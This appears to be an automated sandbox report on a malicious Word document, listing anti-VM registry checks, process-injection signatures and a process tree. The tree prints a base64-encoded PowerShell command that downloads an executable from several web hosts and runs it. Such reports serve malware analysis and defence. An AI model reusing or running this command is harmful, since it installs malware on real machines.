Analysis
-
max time kernel
55s -
max time network
11651379494s -
resource
win10
Task
task1
Sample
Docs_cdf406976d2e6c1e011078a5991ec178.suspected.doc
Resource
win7
0 signatures
Task
task2
Sample
Docs_cdf406976d2e6c1e011078a5991ec178.suspected.doc
Resource
win10
0 signatures
General
-
Target
Docs_cdf406976d2e6c1e011078a5991ec178.suspected
-
Sample
190926-j2m7w25g8s
-
SHA256
21b2b7e92c8f7e405062af2ecca54753fb6fe4f93000d262cd1bae4f89c81310
Score
N/A
Malware Config
Signatures
-
Suspicious behavior: AddClipboardFormatListener
-
Suspicious use of SetWindowsHookEx
-
at description ioc Process 8000 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 8078 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 9734 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_cdf406976d2e6c1e011078a5991ec178.suspected.doc WINWORD.EXE 10265 File created C:\Users\Admin\AppData\Local\Temp\~$cs_cdf406976d2e6c1e011078a5991ec178.suspected.doc WINWORD.EXE -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
at description ioc Process 9656 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 9656 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
at description ioc Process 9656 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 9656 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 9656 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 9656 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 9656 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
at description ioc Process 9656 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 9656 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
at description Process procid_target 12968 PID 1352 wrote to memory of 3852 SppExtComObj.exe 42 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
at description Process 20359 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cdf406976d2e6c1e011078a5991ec178.suspected.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:1424
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:1352
-
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:3852
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABZAEEAWgBjAEMAWgBCAD0AKAAnAG0AJwArACcAdwAxAFUAQQBDACcAKQA7ACQAdABBAEEARwBBAEMAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAG8AUQB3AGMAQQBEAD0AKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcAJwArACcALgBiACcAKwAnAGkAbABnACcAKwAnAGkAZQBnAGkAdABpACcAKwAnAG0AbwBuAGwAaQBuAGUALgBjAG8AbQAnACsAJwAvAHcAcAAtAGEAZABtAGkAbgAvAG0AWABXAHAAJwArACcALwBAAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8ALwB3AHcAJwArACcAdwAuAHkAJwArACcAYQBuACcAKwAnAGoAaQBhAG8AJwArACcAegBoAGEAJwArACcAbgAuAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AaQBuAGMAbAB1ACcAKwAnAGQAZQBzACcAKwAnAC8AdQBnADcALwBAAGgAdAB0AHAAOgAvAC8AYgBhAHIAYQBiAG8AbwBzAGUAbgBpAG8AcgBoAGkAZwBoAC4AYwBvAG0AJwArACcALwBFAG4ALwBKAEgAUwAnACsAJwAvAEAAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB3AHcAdwAuAG0AYQBqAG8AcgBpAHMAdABhAG4AYgB1AGwALgAnACsAJwBjAG8AbQAvAGMAJwArACcAZwBpACcAKwAnAC0AYgBpAG4ALwAxACcAKwAnAE8AJwArACcARgAvAEAAaAB0AHQAcAA6AC8AJwArACcALwBiAGwAbwAnACsAJwBvAGQAeQBiAGkAdABzAC4AYwBvACcAKwAnAG0ALwBlACcAKwAnAGQAdwBpAG4AagBlAGYAZgBlAHIAcwBvAG4ALgAnACsAJwBjAG8AbQAvACcAKwAnAGoAeAAnACsAJwA3AC8AJwApAC4AKAAnAFMAcABsACcAKwAnAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAGMAbwBaAEEAQQBBAHcAQQA9ACgAJwBhAFoAJwArACcAWgBVACcAKwAnAEMAQQBBAEEAJwApADsAJAB6AEIAQQBCAEQAVQA0AEEAIAA9ACAAKAAnADgAJwArACcANAA5ACcAKQA7ACQAWABEAEEAQQBBAEEAPQAoACcASABjACcAKwAnAG8AQQBVAEEAQQBRACcAKQA7ACQATwBVAEIAQQA0AFUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHoAQgBBAEIARABVADQAQQArACgAJwAuAGUAJwArACcAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGQAWABjAEEAeABBAFEAIABpAG4AIAAkAG8AUQB3AGMAQQBEACkAewB0AHIAeQB7ACQAdABBAEEARwBBAEMALgAoACcARABvAHcAJwArACcAbgAnACsAJwBsAG8AYQAnACsAJwBkAEYAaQBsAGUAJwApAC4ASQBuAHYAbwBrAGUAKAAkAGQAWABjAEEAeABBAFEALAAgACQATwBVAEIAQQA0AFUAKQA7ACQARABBAEcAVQBVAEEAVQA9ACgAJwBPACcAKwAnAFEAQwBCAGsAawBHACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABPAFUAQgBBADQAVQApAC4AIgBMAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewAmACgAJwBJACcAKwAnAG4AJwArACcAdgBvACcAKwAnAGsAZQAtAEkAdABlAG0AJwApACAAJABPAFUAQgBBADQAVQA7ACQAUgBBAEIAYwBVADQARABBAD0AKAAnAHAAJwArACcAQQB4AEMAWgAnACsAJwBVACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABoAEEAVQBEAEQAQQA9ACgAJwBJAFgAawAnACsAJwBRADEAJwArACcAeAAnACkAOwA=1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3424